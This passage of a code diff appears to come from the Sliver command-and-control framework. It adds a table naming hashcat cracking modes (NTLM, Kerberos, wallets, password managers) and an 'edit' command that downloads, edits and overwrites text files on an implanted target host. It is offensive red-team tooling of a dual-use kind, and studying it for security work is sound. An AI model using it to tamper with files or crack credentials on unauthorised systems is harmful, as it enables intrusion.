+	if len(cracker.Benchmarks) == 0 {
+		tw.AppendRow(table.Row{"No benchmarks reported", "-"})
+	} else {
+		for hashType, speed := range cracker.Benchmarks {
+			name, ok := hashcatHashTypeName(hashType)
+			if !ok {
+				name = clientpb.HashType(hashType).String()
+			}
+			tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
+		}
 	}
 	con.Printf("%s\n", tw.Render())
 }

client/command/crack/hashcat_types.go

@@ -0,0 +1,419 @@
+package crack
+
+import "fmt"
+
+// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
+var hashcatHashTypes = map[int32]string{
+	0:     "MD5",
+	10:    "md5($pass.$salt)",
+	11:    "Joomla < 2.5.18",
+	12:    "PostgreSQL",
+	20:    "md5($salt.$pass)",
+	21:    "osCommerce, xt:Commerce",
+	22:    "Juniper NetScreen/SSG (ScreenOS)",
+	23:    "Skype",
+	24:    "SolarWinds Serv-U",
+	30:    "md5(utf16le($pass).$salt)",
+	40:    "md5($salt.utf16le($pass))",
+	50:    "HMAC-MD5 (key = $pass)",
+	60:    "HMAC-MD5 (key = $salt)",
+	70:    "md5(utf16le($pass))",
+	100:   "SHA1",
+	101:   "nsldap, SHA-1(Base64), Netscape LDAP SHA",
+	110:   "sha1($pass.$salt)",
+	111:   "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
+	112:   "Oracle S: Type (Oracle 11+)",
+	120:   "sha1($salt.$pass)",
+	121:   "SMF (Simple Machines Forum) > v1.1",
+	122:   "macOS v10.4, macOS v10.5, macOS v10.6",
+	123:   "EPi",
+	124:   "Django (SHA-1)",
+	125:   "ArubaOS",
+	130:   "sha1(utf16le($pass).$salt)",
+	131:   "MSSQL (2000)",
+	132:   "MSSQL (2005)",
+	133:   "PeopleSoft",
+	140:   "sha1($salt.utf16le($pass))",
+	141:   "Episerver 6.x < .NET 4",
+	150:   "HMAC-SHA1 (key = $pass)",
+	160:   "HMAC-SHA1 (key = $salt)",
+	170:   "sha1(utf16le($pass))",
+	190:   "sha1(LinkedIn)",
+	200:   "MySQL323",
+	300:   "MySQL4.1/MySQL5",
+	400:   "phpass, phpBB3 (MD5)",
+	500:   "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
+	501:   "Juniper IVE",
+	600:   "BLAKE2b-512",
+	900:   "MD4",
+	1000:  "NTLM",
+	1100:  "Domain Cached Credentials (DCC), MS Cache",
+	1300:  "SHA2-224",
+	1400:  "SHA2-256",
+	1410:  "sha256($pass.$salt)",
+	1411:  "SSHA-256(Base64), LDAP {SSHA256}",
+	1420:  "sha256($salt.$pass)",
+	1421:  "hMailServer",
+	1430:  "sha256(utf16le($pass).$salt)",
+	1431:  "base64(sha256(unicode($pass)))",
+	1440:  "sha256($salt.utf16le($pass))",
+	1441:  "Episerver 6.x >= .NET 4",
+	1450:  "HMAC-SHA256 (key = $pass)",
+	1460:  "HMAC-SHA256 (key = $salt)",
+	1470:  "sha256(utf16le($pass))",
+	1500:  "descrypt, DES (Unix), Traditional DES",
+	1600:  "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
+	1700:  "SHA2-512",
+	1710:  "sha512($pass.$salt)",
+	1711:  "SSHA-512(Base64), LDAP {SSHA512}",
+	1720:  "sha512($salt.$pass)",
+	1722:  "macOS v10.7",
+	1730:  "sha512(utf16le($pass).$salt)",
+	1731:  "MSSQL (2012, 2014)",
+	1740:  "sha512($salt.utf16le($pass))",
+	1750:  "HMAC-SHA512 (key = $pass)",
+	1760:  "HMAC-SHA512 (key = $salt)",
+	1770:  "sha512(utf16le($pass))",
+	1800:  "sha512crypt $6$, SHA512 (Unix)",
+	2000:  "STDOUT",
+	2100:  "Domain Cached Credentials 2 (DCC2), MS Cache 2",
+	2400:  "Cisco-PIX MD5",
+	2410:  "Cisco-ASA MD5",
+	2500:  "WPA-EAPOL-PBKDF2",
+	2501:  "WPA-EAPOL-PMK",
+	2600:  "md5(md5($pass))",
+	2611:  "vBulletin < v3.8.5",
+	2612:  "PHPS",
+	2711:  "vBulletin >= v3.8.5",
+	2811:  "MyBB 1.2+, IPB2+ (Invision Power Board)",
+	3000:  "LM",
+	3100:  "Oracle H: Type (Oracle 7+)",
+	3200:  "bcrypt $2\\*$, Blowfish (Unix)",
+	3300:  "MD5(Sun)",
+	3500:  "md5(md5(md5($pass)))",
+	3610:  "md5(md5($salt).$pass )",
+	3710:  "md5($salt.md5($pass))",
+	3711:  "MediaWiki B type",
+	3720:  "md5($pass.md5($salt))",
+	3721:  "WebEdition CMS",
+	3800:  "md5($salt.$pass.$salt)",
+	3910:  "md5(md5($pass).md5($salt))",
+	4010:  "md5($salt.md5($salt.$pass))",
+	4110:  "md5($salt.md5($pass.$salt))",
+	4210:  "md5($username.0.$pass)",
+	4300:  "md5(strtoupper(md5($pass)))",
+	4400:  "md5(sha1($pass))",
+	4500:  "sha1(sha1($pass))",
+	4510:  "sha1(sha1($pass).$salt)",
+	4520:  "sha1($salt.sha1($pass))",
+	4521:  "Redmine",
+	4522:  "PunBB",
+	4600:  "sha1(sha1(sha1($pass)))",
+	4700:  "sha1(md5($pass))",
+	4710:  "sha1(md5($pass).$salt)",
+	4711:  "Huawei sha1(md5($pass).$salt)",
+	4800:  "iSCSI CHAP authentication, MD5(CHAP)",
+	4900:  "sha1($salt.$pass.$salt)",
+	5000:  "sha1(sha1($salt.$pass.$salt))",
+	5100:  "Half MD5",
+	5200:  "Password Safe v3",
+	5300:  "IKE-PSK MD5",
+	5400:  "IKE-PSK SHA1",
+	5500:  "NetNTLMv1 / NetNTLMv1+ESS",
+	5600:  "NetNTLMv2",
+	5700:  "Cisco-IOS type 4 (SHA256)",
+	5800:  "Samsung Android Password/PIN",
+	6000:  "RIPEMD-160",
+	6100:  "Whirlpool",
+	6211:  "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
+	6212:  "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
+	6213:  "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
+	6221:  "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
+	6222:  "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
+	6223:  "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
+	6231:  "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
+	6232:  "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
+	6233:  "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
+	6241:  "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
+	6242:  "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
+	6243:  "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
+	6300:  "AIX {smd5}",
+	6400:  "AIX {ssha256}",
+	6500:  "AIX {ssha512}",
+	6600:  "1Password, agilekeychain",
+	6700:  "AIX {ssha1}",
+	6800:  "LastPass + LastPass sniffed",
+	6900:  "GOST R 34.11-94",
+	7000:  "FortiGate (FortiOS)",
+	7100:  "macOS v10.8+ (PBKDF2-SHA512)",
+	7200:  "GRUB 2",
+	7300:  "IPMI2 RAKP HMAC-SHA1",
+	7400:  "sha256crypt $5$, SHA256 (Unix)",
+	7401:  "MySQL $A$ (sha256crypt)",
+	7500:  "Kerberos 5, etype 23, AS-REQ Pre-Auth",
+	7700:  "SAP CODVN B (BCODE)",
+	7701:  "SAP CODVN B (BCODE) from RFC_READ_TABLE",
+	7800:  "SAP CODVN F/G (PASSCODE)",
+	7801:  "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
+	7900:  "Drupal7",
+	8000:  "Sybase ASE",
+	8100:  "Citrix NetScaler (SHA1)",
+	8200:  "1Password, cloudkeychain",
+	8300:  "DNSSEC (NSEC3)",
+	8400:  "WBB3 (Woltlab Burning Board)",
+	8500:  "RACF",
+	8600:  "Lotus Notes/Domino 5",
+	8700:  "Lotus Notes/Domino 6",
+	8800:  "Android FDE <= 4.3",
+	8900:  "scrypt",
+	9000:  "Password Safe v2",
+	9100:  "Lotus Notes/Domino 8",
+	9200:  "Cisco-IOS $8$ (PBKDF2-SHA256)",
+	9300:  "Cisco-IOS $9$ (scrypt)",
+	9400:  "MS Office 2007",
+	9500:  "MS Office 2010",
+	9600:  "MS Office 2013",
+	9700:  "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
+	9710:  "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
+	9720:  "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
+	9800:  "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
+	9810:  "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
+	9820:  "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
+	9900:  "Radmin2",
+	10000: "Django (PBKDF2-SHA256)",
+	10100: "SipHash",
+	10200: "CRAM-MD5",
+	10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
+	10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
+	10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
+	10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
+	10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
+	10600: "PDF 1.7 Level 3 (Acrobat 9)",
+	10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
+	10800: "SHA2-384",
+	10810: "sha384($pass.$salt)",
+	10820: "sha384($salt.$pass)",
+	10830: "sha384(utf16le($pass).$salt)",
+	10840: "sha384($salt.utf16le($pass))",
+	10870: "sha384(utf16le($pass))",
+	10900: "PBKDF2-HMAC-SHA256",
+	10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
+	11000: "PrestaShop",
+	11100: "PostgreSQL CRAM (MD5)",
+	11200: "MySQL CRAM (SHA1)",
+	11300: "Bitcoin/Litecoin wallet.dat",
+	11400: "SIP digest authentication (MD5)",
+	11500: "CRC32",
+	11600: "7-Zip",
+	11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
+	11750: "HMAC-Streebog-256 (key = $pass), big-endian",
+	11760: "HMAC-Streebog-256 (key = $salt), big-endian",
+	11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
+	11850: "HMAC-Streebog-512 (key = $pass), big-endian",
+	11860: "HMAC-Streebog-512 (key = $salt), big-endian",
+	11900: "PBKDF2-HMAC-MD5",
+	12000: "PBKDF2-HMAC-SHA1",
+	12001: "Atlassian (PBKDF2-HMAC-SHA1)",
+	12100: "PBKDF2-HMAC-SHA512",
+	12200: "eCryptfs",
+	12300: "Oracle T: Type (Oracle 12+)",
+	12400: "BSDi Crypt, Extended DES",
+	12500: "RAR3-hp",
+	12600: "ColdFusion 10+",
+	12700: "Blockchain, My Wallet",
+	12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
+	12900: "Android FDE (Samsung DEK)",
+	13000: "RAR5",
+	13100: "Kerberos 5, etype 23, TGS-REP",
+	13200: "AxCrypt 1",
+	13300: "AxCrypt 1 in-memory SHA1",
+	13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
+	13500: "PeopleSoft PS_TOKEN",
+	13600: "WinZip",
+	13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
+	13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
+	13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
+	13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
+	13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
+	13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
+	13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
+	13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
+	13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
+	13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
+	13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
+	13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
+	13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
+	13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
+	13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
+	13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
+	13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
+	13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
+	13771: "VeraCrypt Streebog-512 + XTS 512 bit",
+	13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
+	13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
+	13800: "Windows Phone 8+ PIN/password",
+	13900: "OpenCart",
+	14000: "DES (PT = $salt, key = $pass)",
+	14100: "3DES (PT = $salt, key = $pass)",
+	14400: "sha1(CX)",
+	14500: "Linux Kernel Crypto API (2.4)",
+	14600: "LUKS",
+	14700: "iTunes backup < 10.0",
+	14800: "iTunes backup >= 10.0",
+	14900: "Skip32 (PT = $salt, key = $pass)",
+	15000: "FileZilla Server >= 0.9.55",
+	15100: "Juniper/NetBSD sha1crypt",
+	15200: "Blockchain, My Wallet, V2",
+	15300: "DPAPI masterkey file v1 + local context",
+	15400: "ChaCha20",
+	15500: "JKS Java Key Store Private Keys (SHA1)",
+	15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
+	15700: "Ethereum Wallet, SCRYPT",
+	15900: "DPAPI masterkey file v2 + Active Directory domain context",
+	16000: "Tripcode",
+	16100: "TACACS+",
+	16200: "Apple Secure Notes",
+	16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
+	16400: "CRAM-MD5 Dovecot",
+	16500: "JWT (JSON Web Token)",
+	16600: "Electrum Wallet (Salt-Type 1-3)",
+	16700: "FileVault 2",
+	16800: "WPA-PMKID-PBKDF2",
+	16801: "WPA-PMKID-PMK",
+	16900: "Ansible Vault",
+	17200: "PKZIP (Compressed)",
+	17210: "PKZIP (Uncompressed)",
+	17220: "PKZIP (Compressed Multi-File)",
+	17225: "PKZIP (Mixed Multi-File)",
+	17230: "PKZIP (Mixed Multi-File Checksum-Only)",
+	17300: "SHA3-224",
+	17400: "SHA3-256",
+	17500: "SHA3-384",
+	17600: "SHA3-512",
+	17700: "Keccak-224",
+	17800: "Keccak-256",
+	17900: "Keccak-384",
+	18000: "Keccak-512",
+	18100: "TOTP (HMAC-SHA1)",
+	18200: "Kerberos 5, etype 23, AS-REP",
+	18300: "Apple File System (APFS)",
+	18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
+	18500: "sha1(md5(md5($pass)))",
+	18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
+	18700: "Java Object hashCode()",
+	18800: "Blockchain, My Wallet, Second Password (SHA256)",
+	18900: "Android Backup",
+	19000: "QNX /etc/shadow (MD5)",
+	19100: "QNX /etc/shadow (SHA256)",
+	19200: "QNX /etc/shadow (SHA512)",
+	19300: "sha1($salt1.$pass.$salt2)",
+	19500: "Ruby on Rails Restful-Authentication",
+	19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
+	19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
+	19800: "Kerberos 5, etype 17, Pre-Auth",
+	19900: "Kerberos 5, etype 18, Pre-Auth",
+	20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
+	20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
+	20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
+	20200: "Python passlib pbkdf2-sha512",
+	20300: "Python passlib pbkdf2-sha256",
+	20400: "Python passlib pbkdf2-sha1",
+	20500: "PKZIP Master Key",
+	20510: "PKZIP Master Key (6 byte optimization)",
+	20600: "Oracle Transportation Management (SHA256)",
+	20710: "sha256(sha256($pass).$salt)",
+	20711: "AuthMe sha256",
+	20720: "sha256($salt.sha256($pass))",
+	20800: "sha256(md5($pass))",
+	20900: "md5(sha1($pass).md5($pass).sha1($pass))",
+	21000: "BitShares v0.x - sha512(sha512_bin(pass))",
+	21100: "sha1(md5($pass.$salt))",
+	21200: "md5(sha1($salt).md5($pass))",
+	21300: "md5($salt.sha1($salt.$pass))",
+	21400: "sha256(sha256_bin($pass))",
+	21500: "SolarWinds Orion",
+	21501: "SolarWinds Orion v2",
+	21600: "Web2py pbkdf2-sha512",
+	21700: "Electrum Wallet (Salt-Type 4)",
+	21800: "Electrum Wallet (Salt-Type 5)",
+	22000: "WPA-PBKDF2-PMKID+EAPOL",
+	22001: "WPA-PMK-PMKID+EAPOL",
+	22100: "BitLocker",
+	22200: "Citrix NetScaler (SHA512)",
+	22300: "sha256($salt.$pass.$salt)",
+	22301: "Telegram Mobile App Passcode (SHA256)",
+	22400: "AES Crypt (SHA256)",
+	22500: "MultiBit Classic .key (MD5)",
+	22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
+	22700: "MultiBit HD (scrypt)",
+	22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
+	22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
+	22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
+	22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
+	22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
+	23001: "SecureZIP AES-128",
+	23002: "SecureZIP AES-192",
+	23003: "SecureZIP AES-256",
+	23100: "Apple Keychain",
+	23200: "XMPP SCRAM PBKDF2-SHA1",
+	23300: "Apple iWork",
+	23400: "Bitwarden",
+	23500: "AxCrypt 2 AES-128",
+	23600: "AxCrypt 2 AES-256",
+	23700: "RAR3-p (Uncompressed)",
+	23800: "RAR3-p (Compressed)",
+	23900: "BestCrypt v3 Volume Encryption",
+	24100: "MongoDB ServerKey SCRAM-SHA-1",
+	24200: "MongoDB ServerKey SCRAM-SHA-256",
+	24300: "sha1($salt.sha1($pass.$salt))",
+	24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
+	24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
+	24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
+	24600: "SQLCipher",
+	24700: "Stuffit5",
+	24800: "Umbraco HMAC-SHA1",
+	24900: "Dahua Authentication MD5",
+	25300: "MS Office 2016 - SheetProtection",
+	25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
+	25500: "Stargazer Stellar Wallet XLM",
+	25600: "bcrypt(md5($pass)) / bcryptmd5",
+	25700: "MurmurHash",
+	25800: "bcrypt(sha1($pass)) / bcryptsha1",
+	25900: "KNX IP Secure - Device Authentication Code",
+	26000: "Mozilla key3.db",
+	26100: "Mozilla key4.db",
+	26200: "OpenEdge Progress Encode",
+	26300: "FortiGate256 (FortiOS256)",
+	26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
+	26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
+	26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
+	26500: "iPhone passcode (UID key + System Keybag)",
+	26600: "MetaMask Wallet",
+	99999: "Plaintext",
+}
+
+func hashcatHashTypeName(mode int32) (string, bool) {
+	name, ok := hashcatHashTypes[mode]
+	return name, ok
+}
+
+func humanizeHashRate(rate uint64) string {
+	const unit = 1000
+	if rate < unit {
+		return fmt.Sprintf("%d H/s", rate)
+	}
+	value := float64(rate)
+	exp := 0
+	for value >= unit && exp < 5 {
+		value /= unit
+		exp++
+	}
+	suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
+	if exp == 0 {
+		return fmt.Sprintf("%d H/s", rate)
+	}
+	if exp > len(suffixes) {
+		exp = len(suffixes)
+	}
+	return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
+}

client/command/edit/commands.go

@@ -0,0 +1,38 @@
+package edit
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the edit command.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	editCmd := &cobra.Command{
+		Use:   consts.EditStr,
+		Short: "Edit a remote text file",
+		Long:  help.GetHelpFor([]string{consts.EditStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			EditCmd(cmd, con, args)
+		},
+		GroupID: consts.FilesystemHelpGroup,
+	}
+
+	flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
+		f.String("syntax", "", "syntax highlighting lexer name (optional)")
+		f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
+		f.Bool("line-numbers", false, "show line numbers")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	carapace.Gen(editCmd).PositionalCompletion(
+		carapace.ActionValues().Usage("path to the remote file to edit"),
+	)
+
+	return []*cobra.Command{editCmd}
+}

client/command/edit/edit.go

@@ -0,0 +1,380 @@
+package edit
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/alecthomas/chroma/v2"
+	"github.com/alecthomas/chroma/v2/lexers"
+	"github.com/bishopfox/sliver/client/command/filesystem"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/forms"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	tea "github.com/charmbracelet/bubbletea"
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"
+)
+
+const beaconPollInterval = 1 * time.Second
+
+// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
+func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := strings.TrimSpace(args[0])
+	if remotePath == "" {
+		con.PrintErrorf("Missing parameter: remote path\n")
+		return
+	}
+
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
+	download, err := downloadRemote(ctx, con, cmd, remotePath)
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+	if !download.Exists {
+		con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
+		return
+	}
+	if download.IsDir {
+		con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
+		return
+	}
+
+	data := download.Data
+	if download.Encoder == "gzip" {
+		data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s\n", err)
+			return
+		}
+	}
+	if !isText(data) {
+		con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
+		return
+	}
+
+	path := download.Path
+	if path == "" {
+		path = remotePath
+	}
+
+	lineEnding := detectLineEnding(data)
+	content := normalizeLineEndings(data)
+
+	lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
+
+	for {
+		result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
+		if err != nil {
+			con.PrintErrorf("Editor error: %s\n", err)
+			return
+		}
+		content = result.Content
+
+		if result.Action == actionNone {
+			return
+		}
+
+		if !result.Modified {
+			if result.Action == actionSaveQuit {
+				con.PrintInfof("No changes to upload for %s\n", path)
+			}
+			return
+		}
+
+		switch result.Action {
+		case actionSaveQuit:
+			uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if !uploadNow {
+				keepEditing, err := confirm("Continue editing?")
+				if err != nil {
+					con.PrintErrorf("%s\n", err)
+					return
+				}
+				if keepEditing {
+					continue
+				}
+				return
+			}
+
+			uploadData := applyLineEnding(content, lineEnding)
+			if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		case actionQuit:
+			if result.Force {
+				return
+			}
+			discard, err := confirm("Discard changes?")
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			if discard {
+				return
+			}
+		}
+	}
+}
+
+func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
+	model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
+	program := tea.NewProgram(model, tea.WithAltScreen())
+	finalModel, err := program.Run()
+	if err != nil {
+		return editorResult{}, err
+	}
+	editor, ok := finalModel.(*editorModel)
+	if !ok {
+		return editorResult{}, fmt.Errorf("unexpected editor state")
+	}
+	return editor.result(), nil
+}
+
+func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
+	download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
+		Request:          con.ActiveTarget.Request(cmd),
+		Path:             path,
+		RestrictedToFile: true,
+	})
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		taskID := download.Response.TaskID
+		download = &sliverpb.Download{}
+		if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
+			return nil, err
+		}
+	}
+	return download, nil
+}
+
+func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
+	ctx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+
+	uploadData, err := new(encoders.Gzip).Encode(data)
+	if err != nil {
+		return err
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
+	upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
+		Request:     con.ActiveTarget.Request(cmd),
+		Path:        path,
+		Data:        uploadData,
+		Encoder:     "gzip",
+		IsDirectory: false,
+		Overwrite:   true,
+	})
+	if err == nil && upload.Response != nil && upload.Response.Async {
